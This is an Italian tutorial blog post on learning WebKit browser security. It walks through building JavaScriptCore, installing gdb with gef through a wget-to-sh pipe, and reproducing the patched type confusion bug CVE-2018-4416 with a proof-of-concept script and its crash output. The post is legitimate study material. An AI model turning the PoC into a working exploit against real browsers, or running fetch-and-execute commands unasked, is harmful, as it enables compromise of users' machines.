
Guida didattica a CVE-2018-4416, una vulnerabilità di type confusion in JavaScriptCore di WebKit, con PoC, setup di debug e analisi delle comuni tecniche di binary exploitation nei browser.
Ho scelto uno relativamente semplice: /WebKit/. (ChakraCore potrebbe essere più semplice, LoL. Ma gira voce che Microsoft abbia cancellato il progetto. Quindi ho deciso di non sceglierlo).
Scriverò una serie di post per annotare i miei appunti sullo studio della sicurezza di /WebKit/. È anche la mia prima volta che studio Browser Security, quindi i miei post probabilmente avranno molti errori. Se li notate, non esitate a contattarmi per le correzioni.
Prima di leggerlo, devi conoscere: - la grammatica del C++ - la grammatica dell'Assembly - l'installazione di una Virtual Machine - la familiarità con Ubuntu e la sua riga di comando - i concetti base della teoria dei compilatori
** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Per prima cosa, dobbiamo installare una VM come nostro ambiente di test. Qui, scelgo /Ubuntu 18.04 LTS/ e /Ubuntu 16.04 LTS/come sistema ospite. Puoi scaricarla [[https://www.ubuntu.com/][qui]]. Se non specifico la versione, usa 18.04 LTS come versione predefinita.
Mac potrebbe essere una scelta più appropriata, visto che ha XCode e Safari. Considerato l'elevato consumo di risorse di MacOS e gli aggiornamenti instabili, preferisco usare Ubuntu.
Ci serve un software per VM. Preferisco usare [[https://www.vmware.com/][VMWare]]. Vanno bene anche Parallel Desktop e VirtualBox(gratuito), dipende dalle tue abitudini personali.
Non ti spiegherò passo passo come installare Ubuntu su VMWare. Tuttavia, devo comunque ricordarti di allocare quanta più memoria e quante più CPU possibile, perché la compilazione consuma un'enorme quantità di risorse. Un disco da 80GB dovrebbe bastare per conservare il codice sorgente e i file compilati.
** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: Puoi scaricare il codice sorgente di WebKit in tre modi: [[https://github.com/WebKit/webkit][/git/]], /svn/, e [[https://webkit.org/getting-the-code/][/archive/]].
Il gestore di versioni predefinito di WebKit è svn. Ma io scelgo git(troppo poco familiare con svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: L'IDE consuma molte risorse, quindi uso vim per modificare il codice sorgente.
La maggior parte dei lavori di debug che ho visto usa lldb, con cui non ho familiarità. Perciò installo anche gdb con il plugin gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilare un WebKit completo richiede molto tempo. Per ora compiliamo solo JSC(JavaScript Core), da cui provengono la maggior parte delle vulnerabilità.
Ora dovresti trovarti nella directory principale del codice sorgente di WebKit. Esegui questo comando per preparare le dipendenze:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Anche se per ora non compiliamo ancora l'intero WebKit, puoi installare subito le dipendenze rimanenti per test futuri. Questo passaggio non è necessario per compilare JSC se non vuoi spendere troppo tempo:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
Dopodiché, possiamo compilare JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Tra un paio di minuti, possiamo eseguire JSC con:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Facciamo qualche test:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Qui Ubuntu 18.04 LTS #+end_quote
Useremo [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] per il test; ecco la PoC. Salvala come =poc.js= nella stessa cartella di =jsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
Per prima cosa, passa alla versione vulnerabile:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Potrebbe richiedere anche più tempo della compilazione #+end_quote
Esegui: =./jsc poc.js=, e otterremo:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Se lo eseguiamo sull'ultima versione(=git checkout master= per tornare indietro, ed elimina il contenuto della build con =rm -rf WebKitBuild/Relase/= e =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
Ora siamo riusciti a innescare un bug!